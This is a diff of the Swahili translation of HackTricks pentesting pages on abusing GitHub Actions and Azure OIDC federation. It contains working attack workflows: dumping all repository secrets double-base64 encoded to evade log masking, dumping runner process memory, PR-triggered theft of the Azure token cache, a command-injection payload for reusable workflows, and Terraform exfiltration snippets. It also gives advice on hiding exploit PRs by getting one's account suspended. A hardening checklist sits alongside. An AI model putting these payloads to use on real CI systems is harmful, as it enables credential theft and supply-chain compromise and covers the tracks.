+Ikiwa repositories nyingine zilikuwa zinatumia **dependencies kutoka kwa repos za mtumiaji huyu**, attacker ataweza hijack hizo. Hapa kuna maelezo kamili zaidi: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
 
 ---
 
 ## Repo Pivoting
 
 > [!NOTE]
-> Katika sehemu hii tutazungumzia techniques zitakazoruhusu **pivot from one repo to another** ikizingatiwa kuwa tuna aina fulani ya access kwenye ile ya kwanza (tazama sehemu iliyotangulia).
+> Katika sehemu hii tutaongea kuhusu techniques zinazoweza kuruhusu **pivot kutoka repo moja hadi nyingine** tukikisia kuwa tuna aina fulani ya access kwenye ya kwanza (angalia sehemu iliyopita).
 
 ### Cache Poisoning
 
-Cache huhifadhiwa kati ya **workflow runs in the same branch**. Hii inamaanisha kwamba ikiwa attacker ata-compromise package ambayo kisha itahifadhiwa kwenye cache na itachukuliwa (downloaded) na kutekelezwa na workflow yenye **more privileged**, ataweza ku-compromise workflow hiyo pia.
+Cache huhifadhiwa kati ya **workflow runs kwenye branch ileile**. Hii inamaanisha kwamba ikiwa attacker ataweza compromise package ambayo itahifadhiwa kwenye cache na ikapakiwa (downloaded) na kutekelezwa na workflow yenye privileges zaidi, ataweza compromise workflow hiyo pia.
 
 {{#ref}}
 gh-actions-cache-poisoning.md
@@ -421,7 +421,7 @@ gh-actions-cache-poisoning.md
 
 ### Artifact Poisoning
 
-Workflows zinaweza kutumia **artifacts from other workflows and even repos**, ikiwa attacker atafanikiwa ku-compromise Github Action inayofanya **uploads an artifact** ambayo baadaye inatumika na workflow nyingine, anaweza ku-compromise workflows nyingine:
+Workflows zinaweza kutumia **artifacts kutoka kwa workflows nyingine hata repos**, ikiwa attacker atafanikiwa **compromise Github Action** ambayo **uploads an artifact** ambayo baadaye inatumiwa na workflow nyingine, anaweza **compromise workflows nyingine**:
 
 {{#ref}}
 gh-actions-artifact-poisoning.md
@@ -433,9 +433,9 @@ gh-actions-artifact-poisoning.md
 
 ### Github Action Policies Bypass
 
-Kama ilivyoelezwa katika [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), hata kama repository au organization ina policy inayozuia matumizi ya actions fulani, attacker anaweza tu download (`git clone`) action ndani ya workflow kisha kuitaja kama local action. Kwa kuwa policies hazihusishi local paths, **the action will be executed without any restriction.**
+Kama ilivyoelezwa katika [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), hata kama repository au organization ina policy inayozuia matumizi ya actions fulani, attacker anaweza tu kupakua (`git clone`) action ndani ya workflow kisha kuitaja kama local action. Kwa kuwa policies hazihusiani na local paths, **action itatekelezwa bila vizuizi vyovyote.**
 
-Example:
+Mfano:
 ```yaml
 on: [push, pull_request]
 
@@ -456,7 +456,7 @@ path: gha-hazmat
 
 - run: ls tmp/checkout
 ```
-### Kupata AWS na GCP kupitia OIDC
+### Kupata AWS, Azure na GCP kupitia OIDC
 
 Check the following pages:
 
@@ -464,19 +464,23 @@ Check the following pages:
 ../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
 {{#endref}}
 
+{{#ref}}
+../../../pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md
+{{#endref}}
+
 {{#ref}}
 ../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
 {{#endref}}
 
 ### Kupata secrets <a href="#accessing-secrets" id="accessing-secrets"></a>
 
-Ikiwa unakiingiza maudhui katika script, ni muhimu kujua jinsi unavyoweza kupata secrets:
+Ikiwa unapoingiza maudhui kwenye script, ni muhimu kujua jinsi unavyoweza kupata secrets:
 
-- Ikiwa secret au token imewekwa kama **variable ya mazingira**, inaweza kupatikana moja kwa moja kupitia mazingira kwa kutumia **`printenv`**.
+- Ikiwa secret au token imewekwa kama **environment variable**, inaweza kupatikana moja kwa moja kupitia environment ukitumia **`printenv`**.
 
 <details>
 
-<summary>Orodhesha secrets katika Github Action output</summary>
+<summary>List secrets in Github Action output</summary>
 ```yaml
 name: list_env
 on:
@@ -503,7 +507,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 
 <details>
 
-<summary>Pata reverse shell na secrets</summary>
+<summary>Pata reverse shell na siri</summary>
 ```yaml
 name: revshell
 on:
@@ -526,15 +530,15 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 ```
 </details>
 
-- If the secret is used **directly in an expression**, the generated shell script is stored **kwenye diski** na inapatikana.
+- Ikiwa secret inatumiwa **directly in an expression**, script ya shell iliyotengenezwa inahifadhiwa **on-disk** na inaweza kupatikana.
 - ```bash
 cat /home/runner/work/_temp/*
 ```
-- For a JavaScript actions, secrets hutumwa kupitia environment variables
+- Kwa actions za JavaScript, secrets hutumwa kupitia environment variables
 - ```bash
 ps axe | grep node
 ```
-- For a **custom action**, the risk can vary depending on how a program is using the secret it obtained from the **argument**:
+- Kwa **custom action**, hatari inaweza kutofautiana kulingana na jinsi programu inavyotumia secret iliyopatikana kutoka kwa **argument**:
 
 ```yaml
 uses: fakeaction/publish@v3
@@ -542,7 +546,7 @@ with:
 key: ${{ secrets.PUBLISH_KEY }}
 ```
 
-- Orodhesha secrets zote kupitia secrets context (collaborator level). Contributor mwenye write access anaweza kubadilisha workflow kwenye branch yoyote ili kudump secrets zote za repository/org/environment. Tumia double base64 kuepuka GitHub’s log masking na decode locally:
+- Orodhesha secrets zote kupitia secrets context (collaborator level). Mchangiaji mwenye write access anaweza kubadilisha workflow kwenye branch yoyote ili kudump secrets zote za repository/org/environment. Tumia double base64 kuepuka GitHub’s log masking na decode ndani ya mashine yako:
 
 ```yaml
 name: Steal secrets
@@ -558,31 +562,31 @@ run: |
 echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0
 ```
 
-Decode locally:
+Decode ndani ya mashine yako:
 
 ```bash
 echo "ZXdv...Zz09" | base64 -d | base64 -d
 ```
 
-Tip: kwa ajili ya stealth wakati wa testing, encrypt kabla ya kuchapisha (openssl imewekwa awali kwenye GitHub-hosted runners).
+Tip: kwa kujificha wakati wa testing, enkripiti kabla ya kuchapisha (openssl imewekwa awali kwenye GitHub-hosted runners).
 
 ### Kutumia vibaya Self-hosted runners
 
-Njia ya kugundua ni zipi **Github Actions are being executed in non-github infrastructure** ni kutafuta **`runs-on: self-hosted`** kwenye Github Action configuration yaml.
+Njia ya kugundua ni zipi **Github Actions are being executed in non-github infrastructure** ni kutafuta **`runs-on: self-hosted`** katika Github Action configuration yaml.
 
-**Self-hosted** runners yanaweza kupata ufikiaji wa **extra sensitive information**, kwa wengine **network systems** (vulnerable endpoints katika network? metadata service?) au, hata ikiwa yamekatwa na kusambaratishwa, **more than one action might be run at the same time** na ile yenye madhumuni mabaya inaweza **steal the secrets** ya nyingine.
+**Self-hosted** runners zinaweza kuwa na ufikiaji wa **extra sensitive information**, kwa **network systems** nyingine (vulnerable endpoints katika network? metadata service?) au, hata kama zimepewa isolation na kuharibiwa, **more than one action might be run at the same time** na ile yenye nia mbaya inaweza **steal the secrets** za nyingine.
 
-Katika self-hosted runners pia inawezekana kupata **secrets from the \_Runner.Listener**\_\*\* process\*\* ambayo itakuwa na secrets zote za workflows katika hatua yoyote kwa kudump memory yake:
+Katika self-hosted runners pia inawezekana kupata the **secrets from the \_Runner.Listener**\_\*\* process\*\* ambayo itakuwa na secrets zote za workflows katika hatua yoyote kwa kudump memory yake:
 ```bash
 sudo apt-get install -y gdb
 sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
 ```
 Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
 
-### Github Docker Images Registry
+### Rejistri ya Docker Images ya Github
 
-Inawezekana kuunda Github actions ambazo zitajenga na kuhifadhi **Docker image ndani ya Github**.\
-Mfano upo kwenye yafuatayo inayoweza kupanuliwa:
+Inawezekana kuunda Github Actions ambazo zita **jenga na kuhifadhi Docker image ndani ya Github**.\
+Mfano unaweza kupatikana katika sehemu inayoweza kupanuliwa ifuatayo:
 
 <details>
 
@@ -617,9 +621,9 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
 ```
 </details>
 
-Kama ulivyoona katika msimbo uliopita, Github registry imehifadhiwa katika **`ghcr.io`**.
+Kama ulivyoweza kuona katika msimbo uliotangulia, Github registry imehifadhiwa kwenye **`ghcr.io`**.
 
-Mtumiaji mwenye ruhusa za kusoma kwenye repo ataweza kupakua Docker Image kwa kutumia personal access token:
+Mtumiaji mwenye ruhusa za kusoma kwenye repo ataweza kupakua Docker Image kwa kutumia token ya ufikiaji wa kibinafsi:
 ```bash
 echo $gh_token | docker login ghcr.io -u <username> --password-stdin
 docker pull ghcr.io/<org-name>/<repo_name>:<tag>
@@ -632,18 +636,18 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens
 
 ### Taarifa nyeti katika Github Actions logs
 
-Hata kama **Github** inajaribu **kutambua secret values** katika actions logs na **kuepuka kuonyesha** hizo, **data nyingine nyeti** ambazo zinaweza kuwa zimezalishwa wakati wa utekelezaji wa action hazitafichwa. Kwa mfano JWT iliyosainiwa kwa secret value haitafichwa isipokuwa ikiwa [imewekwa maalum](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
+Hata kama **Github** inajaribu **kutambua secret values** katika actions logs na **kuepuka kuonyesha** thamani hizo, **data nyingine nyeti** ambazo zinaweza kuwa zimetengenezwa wakati wa utekelezaji wa action hazitafichwi. Kwa mfano JWT iliyosainiwa kwa secret value haitafichwi isipokuwa ikiwa [imewekwa mahsusi](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
 
-## Kuficha dalili zako
+## Kuficha alama zako
 
-(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Kwanza kabisa, PR yoyote iliyowasilishwa inaonekana wazi kwa umma kwenye Github na kwa akaunti lengwa ya GitHub. Katika GitHub kwa chaguo-msingi, sisi **can’t delete a PR of the internet**, lakini kuna mabadiliko. Kwa akaunti za Github ambazo zime **suspended** na Github, PR zao zote **zanafuta kiotomatiki** na kuondolewa kutoka kwenye internet. Kwa hivyo ili kuficha shughuli zako unahitaji kupata ama akaunti yako ya **GitHub account suspended au akaunti yako iflagged**. Hii itafanya **kuificha shughuli zako zote** kwenye GitHub kutoka internet (kimsingi kuondoa all your exploit PR)
+(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Kwanza kabisa, PR yoyote iliyopandishwa inaonekana waziwazi kwa umma kwenye Github na kwa akaunti lengwa ya GitHub. Kwenye GitHub kwa chaguo-msingi, **hatuwezi kufuta PR ya internet**, lakini kuna mabadiliko. Kwa akaunti za Github ambazo zimesimamishwa na Github, **PR zao zote zinafutwa moja kwa moja** na zinaondolewa kutoka kwenye internet. Hivyo ili kuficha shughuli zako unahitaji ama kuifanya **akaunti yako ya GitHub isimamishwe au akaunti yako iwekwe alama**. Hii itaficha **shughuli zako zote** kwenye GitHub kutoka kwenye internet (kimsingi kuondoa all your exploit PR)
 
-Shirika kwenye GitHub ni makini sana kuripoti akaunti kwa GitHub. Unachohitaji kufanya ni kushiriki “mambo fulani” katika Issue na watahakikisha akaunti yako itasuspended ndani ya masaa 12 :p na hivyo, umefanya exploit yako ionekane isiyoonekana kwenye github.
+Shirika kwenye GitHub ni makini sana kuripoti akaunti kwenye GitHub. Unachohitaji kufanya ni kushirikisha “some stuff” katika Issue na watahakikisha akaunti yako imesimamishwa ndani ya saa 12 :p na hapo unae, umefanya exploit yako isionekane kwenye github.
 
 > [!WARNING]
-> Njia pekee kwa shirika kugundua wamezingatiwa ni kuchunguza GitHub logs kutoka SIEM kwa sababu kutoka GitHub UI PR itafutwa.
+> Njia pekee kwa shirika kugundua walilengwa ni kupitia kuchunguza GitHub logs kutoka SIEM kwani kupitia GitHub UI PR itafutwa.
 
-## References
+## Marejeo
 
 - [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
 

src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md

@@ -0,0 +1,227 @@
+# Azure – Federation Abuse (GitHub Actions OIDC / Workload Identity)
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Muhtasari
+
+GitHub Actions inaweza kuunganishwa na Azure Entra ID (aliyekuwa Azure AD) kwa kutumia OpenID Connect (OIDC). GitHub workflow inaomba token fupi ya GitHub ID (JWT) inayobeba maelezo kuhusu utekelezaji. Azure inathibitisha token hii dhidi ya Federated Identity Credential (FIC) kwenye App Registration (service principal) na kuiyabadilisha kwa Azure access tokens (MSAL cache, bearer tokens kwa Azure APIs).
+
+Azure inathibitisha angalau:
+- iss: https://token.actions.githubusercontent.com
+- aud: api://AzureADTokenExchange (wakati wa kubadilishana kwa tokens za Azure)
+- sub: lazima iendane na FIC Subject identifier iliyosanidiwa
+
+> aud chaguo-msingi ya GitHub inaweza kuwa GitHub URL. Unapobadilishana na Azure, weka wazi audience=api://AzureADTokenExchange.
+
+## GitHub ID token PoC ya haraka
+```yaml
+name: Print OIDC identity token
+on: { workflow_dispatch: {} }
+permissions:
+id-token: write
+jobs:
+view-token:
+runs-on: ubuntu-latest
+steps:
+- name: get-token
+run: |
+OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL")
+# Base64 avoid GitHub masking
+echo "$OIDC_TOKEN" | base64 -w0
+```
+Ili kulazimisha audience ya Azure kwenye ombi la tokeni:
+```bash
+OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
+"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange")
+```
+## Azure usanidi (Workload Identity Federation)
+
+1) Tengeneza App Registration (service principal) na toa ruhusa za kiwango cha chini (kwa mfano, Storage Blob Data Contributor kwenye storage account maalum).
+
+2) Ongeza Federated identity credentials:
+- Issuer: https://token.actions.githubusercontent.com
+- Audience: api://AzureADTokenExchange
+- Subject identifier: iwe na wigo mkali kwa muktadha wa workflow/run uliokusudiwa (angalia Scoping and risks hapa chini).
+
+3) Tumia azure/login kubadilishana GitHub ID token na kuingia kwenye Azure CLI:
+```yaml
+name: Deploy to Azure
+on:
+push: { branches: [main] }
+permissions:
+id-token: write
+contents: read
+jobs:
+deploy:
+runs-on: ubuntu-latest
+steps:
+- name: Az CLI login
+uses: azure/login@v2
+with:
+client-id: ${{ secrets.AZURE_CLIENT_ID }}
+tenant-id: ${{ secrets.AZURE_TENANT_ID }}
+subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
+- name: Upload file to Azure
+run: |
+az storage blob upload --data "test" -c hmm -n testblob \
+--account-name sofiatest --auth-mode login
+```
+Mfano wa kubadilishana kwa mkono (wigo wa Graph umeonyeshwa; ARM au rasilimali nyingine vivyo hivyo):
+```http
+POST /<TENANT-ID>/oauth2/v2.0/token HTTP/2
+Host: login.microsoftonline.com
+Content-Type: application/x-www-form-urlencoded
+
+client_id=<app-client-id>&grant_type=client_credentials&
+client_assertion=<GitHub-ID-token>&client_info=1&
+client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer&
+scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default
+```
+## GitHub OIDC subject (sub) muundo na ubinafsishaji
+
+Muundo wa chaguo-msingi wa sub: repo:<org>/<repo>:<context>
+
+Thamani za context ni pamoja na:
+- environment:<env>
+- pull_request (PR huanzishwa wakati sio kwenye environment)
+- ref:refs/(heads|tags)/<name>
+
+Claims muhimu zinazopatikana mara nyingi katika payload:
+- repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor
+
+Binafsisha muundo wa sub kupitia GitHub API ili kujumuisha claims za ziada na kupunguza hatari ya mgongano:
+```bash
+gh api orgs/<org>/actions/oidc/customization/sub
+gh api repos/<org>/<repo>/actions/oidc/customization/sub
+# Example to include owner and visibility
+gh api \
+--method PUT \
+repos/<org>/<repo>/actions/oidc/customization/sub \
+-f use_default=false \
+-f include_claim_keys='["repository_owner","repository_visibility"]'
+```
+Kumbuka: Alama za kolon katika majina ya environment zime URL‑encoded (%3A), kuondoa tricks za zamani za delimiter‑injection dhidi ya sub parsing. Hata hivyo, kutumia subjects zisizo za kipekee (kwa mfano, only environment:<name>) bado si salama.
+
+## Wigo na hatari za aina za subject za FIC
+
+- Branch/Tag: sub=repo:<org>/<repo>:ref:refs/heads/<branch> or ref:refs/tags/<tag>
+- Hatari: Ikiwa branch/tag haina ulinzi, mchangiaji yeyote anaweza push na kupata tokens.
+- Environment: sub=repo:<org>/<repo>:environment:<env>
+- Hatari: Environments zisizo na ulinzi (hakuna reviewers) zinaruhusu mchangiaji ku-mint tokens.
+- Pull request: sub=repo:<org>/<repo>:pull_request
+- Hatari kuu: Collaborator yeyote anaweza kufungua PR na kutimiza FIC.
+
+PoC: PR‑triggered token theft (exfiltrate the Azure CLI cache written by azure/login):
+```yaml
+name: Steal tokens
+on: pull_request
+permissions:
+id-token: write
+contents: read
+jobs:
+extract-creds:
+runs-on: ubuntu-latest
+steps:
+- name: azure login
+uses: azure/login@v2
+with:
+client-id: ${{ secrets.AZURE_CLIENT_ID }}
+tenant-id: ${{ secrets.AZURE_TENANT_ID }}
+subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
+- name: Extract access token
+run: |
+# Azure CLI caches tokens here on Linux runners
+cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0
+# Decode twice locally to recover the bearer token
+```
+Mahali ya faili na vidokezo vinavyohusiana:
+- Linux/macOS: ~/.azure/msal_token_cache.json inahifadhi MSAL tokens kwa vikao vya az CLI
+- Windows: msal_token_cache.bin chini ya wasifu la mtumiaji; ililindwa na DPAPI
+
+## Workflows zinazoweza kutumika tena na upeo wa job_workflow_ref
+
+Inapoitwa workflow inayoweza kutumika tena inaongeza job_workflow_ref kwenye GitHub ID token, kwa mfano:
+```
+ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main
+```
+Mfano wa FIC kwa kuunganisha repo ya caller na reusable workflow:
+```
+sub=repo:<org>/<repo>:job_workflow_ref:<org>/<reusable-repo>/.github/workflows/<file>@<ref>
+```
+Sanidi claims katika caller repo ili repo na job_workflow_ref zote ziwepo katika sub:
+```http
+PUT /repos/<org>/<repo>/actions/oidc/customization/sub HTTP/2
+Host: api.github.com
+Authorization: token <access token>
+
+{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]}
+```
+Onyo: Ikiwa utaweka job_workflow_ref pekee katika FIC, mshambuliaji anaweza kuunda repo tofauti katika org ile ile, kuendesha reusable workflow ile ile kwenye ref ile ile, kutimiza FIC, na mint tokens. Daima jumuisha caller repo pia.
+
+## Njia za utekelezaji za code zinazopitisha ulinzi wa job_workflow_ref
+
+Hata ukiwa na job_workflow_ref iliyowekwa kwa usahihi, data yoyote inayodhibitiwa na caller inayofika shell bila quoting salama inaweza kusababisha utekelezaji wa code ndani ya muktadha wa workflow uliolindwa.
+
+Mfano wa hatua ya reusable iliyo hatarini (unquoted interpolation):
+```yaml
+- name: Example Security Check
+run: |
+echo "Checking file contents"
+if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then
+echo "Malicious content detected!"; exit 1
+else
+echo "File contents are safe."
+fi
+```
+Ingizo kutoka kwa mwito hatari ili kutekeleza amri na exfiltrate Azure token cache:
+```yaml
+with:
+file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a'
+```
+## Terraform plan kama primitivu ya utekelezaji katika PRs
+
+Chukulia Terraform plan kama code execution. Wakati wa plan, Terraform inaweza:
+- Kusoma faili zozote kupitia functions kama file()
+- Kutekeleza amri kupitia the external data source
+
+Mfano wa exfiltrate Azure token cache wakati wa plan:
+```hcl
+output "msal_token_cache" {
+value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json")))
+}
+```
+Au tumia external kuendesha amri zozote:
+```hcl
+data "external" "exfil" {
+program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"]
+}
+```
+Kutoa FICs zenye kutumika kwenye plan zinazochochewa na PR kunafichua token zilizo na mamlaka na kunaweza kuweka mazingira kwa apply ya uharibifu baadaye. Tofautisha vitambulisho kwa plan vs apply; kamwe usiruhusu token zenye mamlaka katika muktadha wa PR usioaminika.
+
+## Hardening checklist
+
+- Kamwe usitumie sub=...:pull_request kwa FICs nyeti
+- Linda any branch/tag/environment inayotajwa na FICs (branch protection, environment reviewers)
+- Tumia FICs zilizo na scope kwa repo na job_workflow_ref kwa reusable workflows
+- Badilisha GitHub OIDC sub ili kujumuisha claims za kipekee (e.g., repo, job_workflow_ref, repository_owner)
+- Ondoa interpolation isiyo na nukuu ya caller inputs ndani ya run steps; kodisha/weke kwa nukuu kwa usalama
+- Tibu terraform plan kama utekelezaji wa code; zuia au weka vitambulisho kwa njia ya kutengwa katika muktadha wa PR
+- Lazimisha least privilege kwenye App Registrations; tofautisha vitambulisho kwa plan vs apply
+- Iweke actions na reusable workflows kwa commit SHAs (epuka branch/tag pins)
+
+## Manual testing tips
+
+- Omba GitHub ID token ndani ya workflow na uchapishe kama base64 ili kuepuka masking
+- Decode JWT ili kuchunguza claims: iss, aud, sub, job_workflow_ref, repository, ref
+- Badilishana kwa mkono ID token dhidi ya login.microsoftonline.com ili kuthibitisha FIC matching na scopes
+- Baada ya azure/login, soma ~/.azure/msal_token_cache.json ili kuthibitisha uwepo wa token material
+
+## References
+
+- [GitHub Actions → Azure via OIDC: weak FIC and hardening (BinarySecurity)](https://binarysecurity.no/posts/2025/09/securing-gh-actions-part2)
+- [azure/login action](https://github.com/Azure/login)
+- [Terraform external data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/external)
+- [gh CLI](https://cli.github.com/)
+- [PaloAltoNetworks/github-oidc-utils](https://github.com/PaloAltoNetworks/github-oidc-utils)
+
+{{#include ../../../banners/hacktricks-training.md}}